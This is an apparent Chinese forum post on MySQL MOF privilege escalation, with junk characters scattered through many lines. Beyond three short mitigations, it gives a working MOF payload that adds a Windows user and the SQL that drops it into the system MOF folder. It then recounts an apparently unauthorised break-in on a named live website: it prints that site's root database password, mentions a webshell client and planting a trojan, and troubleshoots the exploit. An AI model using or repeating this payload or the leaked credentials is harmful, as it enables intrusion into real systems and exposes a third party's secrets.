Mysql mof扩展漏洞防范方法( p Y; @0 g1 a; A/ `
6 m5 I7 V' e" ]2 a' Z
网上公开的一些利用代码:% E# i- X6 p# S$ @. ~
8 l+ o1 U { c& o% r6 n#pragma namespace(“\\\\.\\root\\subscription”)
2 G) D3 E8 p$ `9 g2 z; R
: O! _! z3 s" `+ }( [9 Finstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
1 l& h% _, z8 [$ k( R; t* `9 ?( J. N" r. f p) p. O4 R+ V
' _+ o9 o, O3 D( |" w, r# \
, a9 X+ w5 r/ \
" I! Z6 _1 n7 B0 `3 p' x) _( y( U8 r/ y' @, J8 @
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;- j- Z, J+ g6 q4 r" s
从上面代码来看得出解决办法:% k( l: P0 M) E' ?3 S+ ?
: o9 i' [8 F8 G* n( d2 x
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数. J/ w% G, T h W T
/ }5 h% s8 }8 G2 P* {/ v7 s# h2、禁止使用”WScript.Shel”组件8 x( L6 x% f' v
4 V( S- |# Q) h* ]/ P" U
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER+ G j. T5 p1 o$ G
/ q% n) C9 N8 w% ~/ I n% q1 `当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下- K& T0 {: m$ C1 N; Q
1 i- `0 W/ q S$ a3 [9 D% k
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权8 { J/ R* q, S8 }# _
/ q4 L+ C0 x; w( _% A& s1 u2 h但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
0 b- g5 x0 R) M8 `
, f5 E: a: E# V+ _9 c看懂了后就开始练手吧
' w0 p# r! F& U, c2 s3 v; a& _' A6 Q% X+ `
http://www.webbmw.com/config/config_ucenter.php 一句话 a, d ^9 _/ e5 r/ L
3 Q Z, ?( e& g1 D$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
, H6 @0 O4 \; W5 ~! ~) T: c' h
) Z, G6 t* G4 F; @于是直接用菜刀开搞
! K# z- Y3 R/ J1 M4 @# T2 E/ u
上马先) m* N+ h! Y! b. P
0 A7 B: G: B+ p0 x( }: S d* W9 v9 G9 M
既然有了那些账号 之类的 于是我们就执行吧…….
) X- s5 o% B' O4 Q' W/ P' m% G% ^% I+ |7 V
小小的说下) I2 B z! a B+ b2 h6 L
& i/ x/ d& w y
在这里第1次执行未成功 原因未知
- s- c4 x' s( V( f0 h6 R( Y5 F# [! C7 B$ b* y* q/ f0 I
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。" {1 p, X4 \. p: _, ?
. b5 B7 w$ d8 e# Q
#pragma namespace(“\\\\.\\root\\subscription”)
# m' B6 ^+ p6 y( `' A- w
" c: @* n& d" A, D$ K! Ninstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
( T' L b# u1 J% B. P
6 x$ i1 ^* I0 ^4 z: f1 M7 T5 {3 T我是将文件放到C:\WINDOWS\temp\1.mof
- B0 `) O4 r9 {' U
6 l/ y9 C% o5 v: M$ _所以我们就改下执行的代码
6 L% _4 [. y# S- I3 z. o, V5 B0 o8 [+ {2 U
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;! j, i1 [5 @' M- a$ y
1 e/ k2 v" e; }, I1 s( l! g; X. f3 J& Q
2 l& Z, K9 Z% Q/ h2 u, Z" W/ i! C( d1 T但是 你会发现账号还是没有躺在那里。。0 n( A& `5 w( b5 F' \$ V' b
# c) A8 N1 z2 N于是我就感觉蛋疼
7 B& U4 B; v r. d* W" A. j) ^: z+ ~; P1 W
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
6 [2 F: o2 V# H5 ]; o5 `
. D. f; M# G9 m, `* R0 O/ A" j( [/ g$ w
: ^! }9 z3 b1 l L' _8 y6 W" ?2 P
但是其他库均不成功…
1 C% G% A8 f# Q. c- g$ [6 U7 B) d
! j/ U) L0 T5 I我就很费解呀 到底为什么不成功求大牛解答…
9 w3 q# U( @* Y' e2 u& ?9 d: M# P, G: k6 i
: F, a! K( [" K6 I: @0 D8 E
; f0 D# \% b8 Q
|